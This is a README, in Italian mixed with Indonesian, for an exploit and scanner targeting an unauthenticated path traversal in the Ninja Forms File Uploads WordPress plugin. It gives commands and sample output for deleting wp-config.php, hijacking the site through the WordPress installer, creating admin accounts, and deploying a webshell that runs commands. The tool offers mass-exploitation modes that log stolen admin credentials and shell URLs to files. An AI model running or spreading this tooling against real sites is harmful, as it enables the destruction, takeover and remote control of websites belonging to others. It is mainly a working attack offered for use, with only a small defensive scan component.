PoC e scanner per CVE-2026-126537, una cancellazione/lettura di file tramite path traversal non autenticata in Ninja Forms File Uploads <= 3.3.36, con flusso di takeover e laboratorio Docker.
Cancellazione arbitraria di file (e lettura arbitraria di file) non autenticata tramite
files[].data.file_path sugli invii pubblici di Ninja Forms, raggiungibile impostando
extra.saveProgress.
| Advisory | WPScan vdb c2acd746-84cd-4233-8ac5-d7fc73179ca0 (pubblicato il 2026-11-11) |
| CVSS | 9.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-22 |
| Affected | ninja-forms-uploads ≤ 3.3.36 |
| Fixed | 3.3.37 (2 nov 2026) |
| Researcher credit | daroo |
| Impact | eliminare wp-config.php → schermata di configurazione di WordPress → compromissione del sito; leggere qualsiasi file leggibile tramite il bucket S3 / Dropbox / Google Drive configurato |
poc.py — solo stdlib, nessuna dipendenza.
python3 poc.py # interactive menu (1 scan 2 exploit 3 mass-scan 4 mass-exploit 0 exit)
python3 poc.py --url https://target # non-destructive scan
python3 poc.py --url https://target --exploit --path /var/www/html/wp-config.php --wait 60
python3 poc.py --targets targets.txt --threads 20 --output hits.txt # mass scan
python3 poc.py --targets targets.txt --exploit --path /var/www/html/wp-config.php
Flag utili: --page /contact (indica una pagina che renderizza il form), -k (salta la verifica
TLS), --wait (secondi di attesa per il job in background), -v.
| tag | significato |
|---|---|
VULN | versione < 3.3.37 e il server ha accettato un file_path scelto dal client |
VULN-VER-MISMATCH | la pipeline ha accettato un percorso fornito dal client mentre il readme dichiara ≥ 3.3.37 |
VULN+TAKEOVER | wp-config.php è davvero sparito: / ora reindirizza a setup-config.php |
VULN+QUEUED | payload accettato e messo in coda; il job in background viene eseguito sul cron del sito stesso |
PATCHED | versione ≥ 3.3.37 e il payload è stato rifiutato |
NO-SIGNAL | payload rifiutato, versione sconosciuta/vecchia — nessun servizio esterno connesso, o azione in background mancante |
FORM-REJECTED | la validazione / il captcha del form hanno bloccato l'invio |
BLOCKED | il WAF o l'edge ha rifiutato la POST |
TAKEOVER | installer eseguito sul database dell'operatore, account admin creato e la sua sessione verificata |
TAKEOVER+SHELL | admin creato e webshell 0xfay distribuita + esecuzione di comandi verificata |
TAKEOVER-NO-SHELL | admin creato, caricamento/verifica della shell falliti |
TAKEOVER-UNVERIFIED | l'installer ha riportato successo, la sessione admin non è potuta essere confermata |
TAKEOVER-FAILED | passo dell'installer rifiutato (DB errato, già installato, bloccato) |
NOT-TAKEOVERABLE | nessuna schermata di setup — wp-config.php è ancora presente (esegui prima --exploit) |
NO-FORM / NO-NF-UPLOADS | nulla da attaccare sulla superficie visibile |
evidence/sample-output.txt)# scan — host rentan (non-destruktif)
VULN-VER-MISMATCH | http://127.0.0.1:8091 | v3.3.37 form#2 field#5 accepted a client-chosen file_path
# scan — host sudah 3.3.37
PATCHED | http://127.0.0.1:8091 | v3.3.37 - fixed in 3.3.37
# exploit — job background sudah jalan di window --wait → hit penuh
VULN+TAKEOVER | http://127.0.0.1:8091 | wp-config.php deleted -> setup screen (/var/www/html/wp-config.php)
# exploit — job belum jalan (cron situs lambat/mati) → jujur, belum terhapus
VULN+QUEUED | http://127.0.0.1:8091 | /var/www/html/wp-config.php queued; background job had not run within 12s (...)
# mass
[=] 3 targets, 2 hit
Codice di uscita: 0 = almeno un target VULN*, 2 = altrimenti (non usare il codice di uscita come unico segnale).
--takeoverUn WordPress che non trova wp-config.php eseguirà il proprio installer
senza alcuna credenziale. Il tool esegue quella sequenza contro un database vuoto di
proprietà dell'operatore (può essere MySQL remoto) e poi verifica la sessione admin:
$ python3 poc.py --url https://target --takeover --dbhost db.milikku.test --dbname wt --dbuser wt --dbpass '•••' --admin-user audit --admin-pass 'Audit!Pass2026' -v
setup screen confirmed (wp-config.php is gone)
wp-config.php written (installer connected to the operator database)
admin session check: administrator
TAKEOVER | https://target | admin 'audit' created on 'wt' (wp-config.php now points there)
Prasyarat: wp-config.php sudah hilang (jalankan --exploit lebih dulu) dan Anda punya
database kosong yang bisa diakses target. Setelah admin aktif, jalur ke RCE adalah plugin
upload biasa (terbukti di lab: uid=33(www-data)); tool ini berhenti di admin — tidak
mengunggah apa pun sendiri.
newadmin.txt & shells.txtSetiap admin yang berhasil dibuat dan setiap shell yang berhasil dipasang ditulis ke file
sendiri (satu baris per hit, header # run <waktu> per sesi, jadi aman di-append antar run):
# newadmin.txt
http://target | user=audit | pass=Audit!Pass2026 | db=db.saya.test/wt prefix=w99e6040_ | admin-verified
# shells.txt
http://target/wp-content/plugins/nfu-a07a8978/nfu-a07a8978.php | user=audit2 | pass=Shell2xfay!2026 | uid=33(www-data) | marker=0xfay-bc36a4f718 | verified
Shell-nya adalah 0xfay shell (~/CVE-MEGAPACK/payloads/ws.php) yang dikirim sebagai
plugin carrier (Plugin Name: header disuntik supaya WP menerima zip-nya). Verifikasi yang
dilakukan tool sebelum menulis baris: ?id=1 mengembalikan marker, login p=<pass>
berhasil, dan ?c=id mengembalikan uid=….
Mass (satu targets.txt):
$ python3 poc.py --targets targets.txt --takeover --rce --threads 10 --dbhost db.saya.test --dbname wt --dbuser wt --dbpass '•••' --admin-user audit --admin-pass 'Audit!Pass2026' --shell-pass 'Shell0xfay!2026'
[*] 3 targets, mode=takeover + shell, admins -> newadmin.txt, shells -> shells.txt
TAKEOVER+SHELL | https://t1 | admin 'audit' + shell deployed
NOT-TAKEOVERABLE | https://t2 | no setup screen: wp-config.php still present (run --exploit first)
[=] 3 targets, 1 hit, 1 admin, 1 shell -> newadmin.txt | shells.txt
Ogni target utilizza un prefisso di tabella casuale (w<hex>_) così molte installazioni possono
condividere un unico database. Flag: --admin-out / --shell-out per rinominare i file.
Ciò che non fornisce questa CVE di per sé: una primitiva di write/upload (vedi
CVE-2026-126537-report.md §9b). Anche il lato read è limitato — gli URL degli oggetti nel bucket sono
presigned di 1 ora con le credenziali del sito, i consumatori sono pagine admin, quindi un attaccante senza
accesso al bucket non può scaricare i file esfiltrati.
Invia il payload craftato con un percorso di probe sotto /tmp che non
esiste e osserva se il server ha decorato la nostra voce di file
(external_locations, custom_path). Quelle chiavi sono scritte da
NF_FU_External_Abstracts_Service::process_upload() — ovvero il server ha usato il
file_path controllato dall'attaccante invece di uno memorizzato. Nulla viene caricato e
nulla viene eliminato.